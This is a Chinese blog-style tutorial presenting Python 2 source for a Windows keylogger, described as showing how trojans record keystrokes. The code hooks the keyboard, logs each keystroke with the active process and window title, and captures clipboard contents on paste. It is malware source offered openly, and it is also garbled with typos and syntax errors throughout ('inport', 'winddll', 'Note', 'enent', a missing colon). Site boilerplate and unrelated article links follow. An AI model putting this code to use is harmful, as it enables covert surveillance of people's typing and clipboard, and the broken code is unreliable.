Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python 深入理解yield
Sep 06 Python
python下MySQLdb用法实例分析
Jun 08 Python
python统计日志ip访问数的方法
Jul 06 Python
python类中super()和__init__()的区别
Oct 18 Python
Python cookbook(字符串与文本)针对任意多的分隔符拆分字符串操作示例
Apr 19 Python
python生成lmdb格式的文件实例
Nov 08 Python
python绘制漏斗图步骤详解
Mar 04 Python
python类的实例化问题解决
Aug 31 Python
Django框架静态文件处理、中间件、上传文件操作实例详解
Feb 29 Python
pycharm部署、配置anaconda环境的教程
Mar 24 Python
详解Python设计模式之策略模式
Jun 15 Python
Python+OpenCV检测灯光亮点的实现方法
Nov 02 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
随机广告显示(PHP函数)
2006/10/09 PHP
在PHP中使用Sockets 从Usenet中获取文件
2008/01/10 PHP
php中的filesystem文件系统函数介绍及使用示例
2014/02/13 PHP
封装ThinkPHP的一个文件上传方法实例
2014/10/31 PHP
php实现websocket实时消息推送
2018/03/30 PHP
使javascript也能包含文件
2006/10/26 Javascript
createElement动态创建HTML对象脚本代码
2008/11/24 Javascript
JavaScript 实现打印,打印预览,打印设置
2014/12/30 Javascript
jQuery实现分隔条左右拖动功能
2015/11/21 Javascript
基于vue实现swipe分页组件实例
2017/05/25 Javascript
vuex 使用文档小结篇
2018/01/11 Javascript
webstorm中配置nodejs环境及npm的实例
2018/05/15 NodeJs
JS学习笔记之贪吃蛇小游戏demo实例详解
2019/05/29 Javascript
vue实现计步器功能
2019/11/01 Javascript
python实现马耳可夫链算法实例分析
2015/05/20 Python
Apache如何部署django项目
2017/05/21 Python
python生成二维码的实例详解
2017/10/29 Python
终端命令查看TensorFlow版本号及路径的方法
2018/06/13 Python
Django migrations 默认目录修改的方法教程
2018/09/28 Python
python标准库OS模块函数列表与实例全解
2020/03/10 Python
jupyter notebook运行命令显示[*](解决办法)
2020/05/18 Python
完美解决Django2.0中models下的ForeignKey()问题
2020/05/19 Python
python求解汉诺塔游戏
2020/07/09 Python
Selenium及python实现滚动操作多种方法
2020/07/21 Python
TripAdvisor瑞典:全球领先的旅游网站
2017/12/11 全球购物
Omio英国:搜索并比较便宜的巴士、火车和飞机
2019/08/27 全球购物
应届生妇产科护士求职信
2013/10/27 职场文书
北京大学自荐信范文
2014/01/28 职场文书
打架检讨书2000字
2014/02/22 职场文书
《散步》教学反思
2014/03/02 职场文书
秋天的图画教学反思
2014/05/01 职场文书
校园安全演讲稿
2014/05/09 职场文书
秋冬农业生产标语
2014/10/09 职场文书
英语导游词
2015/02/13 职场文书
交通事故调解协议书
2015/05/20 职场文书
Python实战之大鱼吃小鱼游戏的实现
2022/04/01 Python